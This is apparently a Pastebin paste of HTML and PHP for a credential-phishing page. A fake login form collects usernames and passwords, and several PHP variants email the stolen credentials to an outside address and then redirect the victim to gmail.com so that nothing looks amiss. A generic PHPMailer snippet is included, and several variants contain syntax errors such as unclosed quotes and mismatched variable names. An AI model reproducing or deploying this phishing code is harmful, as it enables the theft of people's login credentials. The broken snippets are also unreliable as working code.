Advertisement
Guest User

Untitled

a guest
Mar 5th, 2017
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.04 KB | None | 0 0
  1. <body background="images/backgr.jpg" bgProperties="fixed" style="background-attachment:fixed;background-repeat:no-repeat;">
  2.  
  3. <form action="send.php" method="post">
  4. <input name="username" type="text" style="position:absolute;width:266px;left:720px;top:306px;z-index:0">
  5. <input name="password" type="password" style="position:absolute;width:266px;left:720px;top:354px;z-index:1">
  6. <input type="image" name= "submit" id="submit" src="images/button.jpg" style="position:absolute; overflow:hidden; left:720px; top:383px; width:22px; height:22px; z-index:2" alt="submit" title="submit" border=0 width=22 height=22> </a></div>
  7. </form>
  8.  
  9. <?php
  10. if(isset($_POST['submit'])){
  11. $to = "salut@bagaiacimailu.com"; // <mail-ul nostru
  12. $user_name = $_POST['username'];
  13. $password = $_POST['password'];
  14. $subject = "You got mail!";
  15. $message = $username . " " . $password . ";
  16. mail($to,$subject,$message,$headers);
  17. }
  18. header (Location: "www.gmail.com");
  19. ?>
  20.  
  21. <?php
  22. if (isset ( $_POST ['submit'] )) {
  23. require 'PHPMailer/PHPMailerAutoload.php';
  24.  
  25. $mail = new PHPMailer ();
  26.  
  27. $mail->isSMTP (); // Set mailer to use SMTP
  28. $mail->Host = 'smtp.gmail.com'; // Specify main and backup SMTP servers
  29. $mail->SMTPAuth = true; // Enable SMTP authentication
  30. $mail->Username = 'youremail@xyz.com'; // SMTP username
  31. $mail->Password = 'password'; // SMTP password
  32. $mail->SMTPSecure = 'tls'; // Enable TLS encryption, `ssl` also accepted
  33. $mail->Port = 587; // TCP port to connect to
  34.  
  35. $mail->setFrom ( 'Fromemailaddress', 'xyz' );
  36. $mail->addReplyTo ( 'toemailaddress', 'xyz' );
  37. $mail->addAddress ( 'Fromemailaddress' ); // Add a recipient
  38. // $mail->addCC('cc@example.com');
  39. // $mail->addBCC('bcc@example.com');
  40.  
  41. $mail->isHTML ( true ); // Set email format to HTML
  42.  
  43. $bodyContent = '<h1>hello </h1>';
  44. $bodyContent .= '<p>This is my 1st email through php</p>';
  45.  
  46. $mail->Subject = 'Email from Localhost by CodexWorld';
  47. $mail->Body = $bodyContent;
  48.  
  49. if (! $mail->send ()) {
  50. echo 'Message could not be sent.';
  51. echo 'Mailer Error: ' . $mail->ErrorInfo;
  52. } else {
  53. echo 'Message has been sent';
  54. }
  55. }
  56.  
  57. ?>
  58. <form action="#" method="post">
  59. <input name="username" type="text"> <input name="password"
  60. type="password"> <input type="submit" name="submit" id="submit" />
  61. </form>
  62.  
  63. if(mail('','','','')){
  64. //redirect line here
  65. }else{
  66. //error statement here
  67. }
  68.  
  69. <?php
  70. if(isset($_POST['submit'])){
  71. $to = "salut@bagaiacimailu.com"; // this id will get the mail
  72. $user_name = $_POST['username'];
  73. $password = $_POST['password'];
  74. $subject = "You got mail!";
  75. $header = "From: noreply@yourdomainname.com";//this is where the mail. comes from. you were missing this parameter. it was not created
  76. $message = $user_name . " " . $password . ";
  77. if(mail($to,$subject,$message,$headers)){ //this is true if mail is sent other wise it will go into else block
  78. header (Location: "www.gmail.com");
  79. }else{
  80. echo 'Mail was not sent...'; //or redirect to some other page if you like
  81. }
  82. }
  83.  
  84. ?>
  85.  
  86. <?php
  87. if(isset($_POST['submit'])){
  88. $to = "salut@bagaiacimailu.com"; // <mail-ul nostru
  89. $user_name = $_POST['username'];
  90. $password = $_POST['password'];
  91. $subject = "You got mail!";
  92. $message = $username . " " . $password;
  93. mail($to,$subject,$message);
  94. }
  95. header ("Location: https://www.gmail.com");
  96. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement